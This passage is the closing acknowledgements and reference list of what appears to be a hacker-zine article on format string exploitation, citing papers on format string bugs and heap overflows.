other tips about format strings. javier, for helping me in SPARC. bombi, for trying her best to correct my English. and bruce, for correcting my English, too. --[ 12. references [1] Exploiting Format String Vulnerability, scut's. March 2001. http://www.team-teso.net/articles/formatstring [2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team. January 1999. http://www.w00w00.org/articles.html [3] Juliano's badc0ded http://community.corest.com/~juliano [4] Google the oracle. http://www.google.com |=[ EOF ]=---------------------------------------------------------------=|